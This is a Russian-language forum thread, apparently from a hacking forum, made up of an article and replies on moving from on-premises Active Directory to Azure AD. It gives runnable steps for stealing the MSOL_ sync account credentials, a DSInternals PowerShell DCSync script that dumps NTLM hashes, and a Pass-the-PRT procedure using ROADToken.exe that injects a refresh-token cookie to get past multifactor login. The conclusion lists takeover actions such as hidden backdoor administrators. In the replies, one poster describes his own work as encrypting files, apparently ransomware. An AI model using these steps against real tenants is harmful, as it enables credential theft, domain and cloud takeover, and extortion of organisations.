LIMB
Вход Регистрация

тема

Мы помчимся в заоблачную даль: от AD к Azure AD

DenD · · 4 ответов · 362 просмотров

Не удалось прогрузить медиа


Всем привет. В своей статье расскажу про немаловажный этап проведения пентеста - переход от локальной среды Active Directory в облачную Azure Active Directory.

Содержание​

  1. Введение
  2. Azure AD и DCSync
  3. Атака Pass-the-PRT
  4. Заключение
Введение

Azure Active Directory (Azure AD) — это облачная служба управления идентификацией и доступом от Microsoft. В отличие от традиционной локальной Active Directory, Azure AD использует современные протоколы аутентификации (OAuth 2.0, OpenID Connect) и предназначена для управления доступом к облачным приложениям.
В организациях часто можно встретить гибридную модель инфраструктуры, которая сочетает в себе облако и локалку, просто потому, что она удобна в использовании. Синхронизируются локальные учетные записи AD с Azure AD через службу Azure AD Connect. Ее часто можно встретить на домен контроллерах в компаниях:

Не удалось прогрузить медиа


При синхронизации создается мост между локальной и облачной инфраструктурой, который может быть использован для бокового перемещения (наверно можно назвать это перемещение вертикальным). Для того, чтобы посмотреть, синхронизирован ли домен с облаком, достаточно выполнить команду

Code:
dsregcmd.exe /status

Не удалось прогрузить медиа


Если все хорошо, мы увидим "AzureAdJoined: YES".
Учетные данные, скомпрометированные в локальной AD, часто имеют доступ к соответствующим ресурсам в Azure AD, особенно при использовании технологий единого входа (SSO) и Primary Refresh Token. Рассмотрим пару сценариев горизонтального перемещения в облако. Возможных путей повышения привилегий больше, я выбрал пару несложных и рабочих.

Azure AD и DCSync

Рассмотрим сценарий, когда получен доступ RDP в качестве локального/доменного администратора к компьютеру в домене, подключенному к Azure AD.

Кража учетных данных синхронизации: Azure AD Connect использует специальную учетную запись. Она начинается с MSOL_, например - MSOL_879fde03dbcf, имеет высокие привилегии в локальной AD для чтения объектов и их синхронизации. Ее пароль хранится на сервере Azure AD Connect. Инструменты вроде этого позволяют извлечь эти учетные данные. Скрипт расшифровывает её пароль в открытом виде. В большинстве случаев эта учетная запись обладает ролью Global Administrator в Azure AD и на этом можно остановиться, но если нет - идём дальше.

DCSync-атака: если учетная запись MSOL_...имеет права Replicating Directory Changes, можно выполнить DCSync для выгрузки хэшей паролей всех пользователей, включая привилегированных облачных администраторов. Чтобы узнать, кто в облаке глобальный админ, достаточно зайти с доменной учеткой в Azure и посмотреть свои права и права других пользователей. Допустим, наша цель - глобал админ "cloudadmin". Нам нужно получить его пароль. Небольшой скрипт Powershell для этого (запускать на сервере Azure AD Connect):

Code:
Import-Module DSInternals
# юзернейм нужно поменять на ваш
$syncCredential = Get-Credential -UserName 'domain.com\MSOL_123456ABCDEF' -Message 'Ввод учетных данных службы синхронизации'
#Параметр '-Server' указывает на контроллер домена
Get-ADReplAccount -SamAccountName 'cloudadmin' -Server 'dc01.domain.com' -Credential $syncCredential

Команда выведет данные учетной записи, включая хэш пароля в NTLM. ​

Альтернатива - выгрузка всех хэшей для последующей атаки Pass-the-Hash (если вы локал админ - поможет для эскалации до домен админа):​

Code:
Import-Module DSInternals
$syncCredential = Get-Credential -UserName 'domain.com\MSOL_123456ABCDEF' -Message 'Ввод учетных данных службы синхронизации'
Get-ADReplAccount -All -Server Format-Custom -View HashcatNT Out-File 'C:\temp\all_hashes.txt' -Encoding UTF8

Атака Pass-the-PRT

PRT (Primary Refresh Token - Основной Обновляемый Токен) — это специальный, защищенный токен авторизации, используемый Microsoft Entra ID (Azure AD) для обеспечения единого входа (Single Sign-On, SSO). Так же как и в атке pass-the-hash, нам не нужен пароль пользователя, чтобы получить доступ от его лица - достаточно иметь его токен.

Для проведения этой атаки должны сойтись следующие звёзды:

- Физический или логический доступ к компьютеру, на котором пользователь уже вошёл в систему, Azure AD-joined, включён SSO (можно посмотреть из той же команды dsregcmd /status)
- Локальные права администратора на этом ПК
- Закаченная туда утилита 
ROADToken.exe


Шаги к успеху:

1. В выводе команды dsregcmd /status найти TenantId. Выглядит примерно так:

Не удалось прогрузить медиа


2. Получить у microsoft nonce - число для генерации кук и аутентификации на microsoftonline.com Powershell:

Code:
$URL = "https://login.microsoftonline.com/<tenant-id>/oauth2/token"
$Params = @{
    URI    = $URL
    Method = "POST"
    }
$Body = @{
    grant_type = "srv_challenge"
    }
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce

В результате скрипт даст вам строку nonce

3. Получить куки от нашего nonce:

Code:
ROADToken.exe <Nonce>

4. Дальше дело за малым - открыть любой браузер, зайти на https://login.microsoftonline.com, в куки добавить x-ms-RefreshTokenCredential и ее значение из пункта 3 и обновиться. Microsoft примет куки за валидные и авторизует вас без многофакторной аутентификации. Теперь можно идти на https://portal.azure.com и на другие ресурсы Microsoft.

Заключение

Получив административный доступ к Azure AD, атакующий получает контроль над облачной инфраструктурой организации:
  1. Смена паролей, отключение MFA, добавление/удаление пользователей, назначение ролей.
  2. Доступ к данным Microsoft 365: чтение писем Exchange, файлов (SharePoint, OneDrive), журналов аудита.
  3. Управление подписками Azure: создание виртуальных машин, доступ к хранилищам ключей (Key Vault), управление ресурсами.
  4. Создание backdoor-учетных записей через добавление скрытых глобальных администраторов

Перемещение из локальной Active Directory в Azure AD — критический вектор атаки в современных гибридных средах. Пентестеры и специалисты безопасности должны понимать методы компрометации Azure AD через локальные привилегии и уделять особое внимание защите компонентов синхронизации, мониторингу активности и строгому управлению доступом. Регулярные тесты на проникновение, включающие сценарии атак на Azure AD, помогут выявить уязвимости до того, как ими воспользуются реальные злоумышленники.
👍22 🔥1 😮4 👏4
я правильно понимаю, если мы ЛА на ПК, который синхронизируется с Azure AD мы можем получить NTDS, тем самым взять контроль над доменом?
но по сути если учётка "MSOL_879fde03dbcf"  имеет права на DCSync, то можно и с домен контроллера реплицироваться, и в таком случае не нужно возьни с Azure AD.
а что делать если "MSOL_879fde03dbcf" не имеет прав в локальной AD?
ОтветMYCOPA_COCATb

я правильно понимаю, если мы ЛА на ПК, который синхронизируется с Azure AD мы можем получить NTDS, тем самым взять контроль над доменом? но по сути если учётка "MSOL_879fde03dbcf" имеет права на DCSync, то можно и с…

по опыту в 90% мсол всегда имеет права на нтдс и на другие атаки в nxc есть свой модуль даже -M msol если на  сервере ты ла можешь  из локальной базы вытащить креды мсола и все домен твой
Ответmadman

по опыту в 90% мсол всегда имеет права на нтдс и на другие атаки в nxc есть свой модуль даже -M msol если на сервере ты ла можешь из локальной базы вытащить креды мсола и все домен твой

Понял, то есть ещё один способ подняться до домен админа, благодарю за разъяснение.
А для нас, как для работяг, которые энкриптят файлы, Azure имеет какую то важность?
Спасибо за статью ! Очень хорошо написано. Была похожая сетка. Добавлю что еще важно чтобы был выставлен AzureAdPrt: YES, иначе CloudAP не выдаст PRT интерактивному пользователю, и ROADToken будет не из чего собрать

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.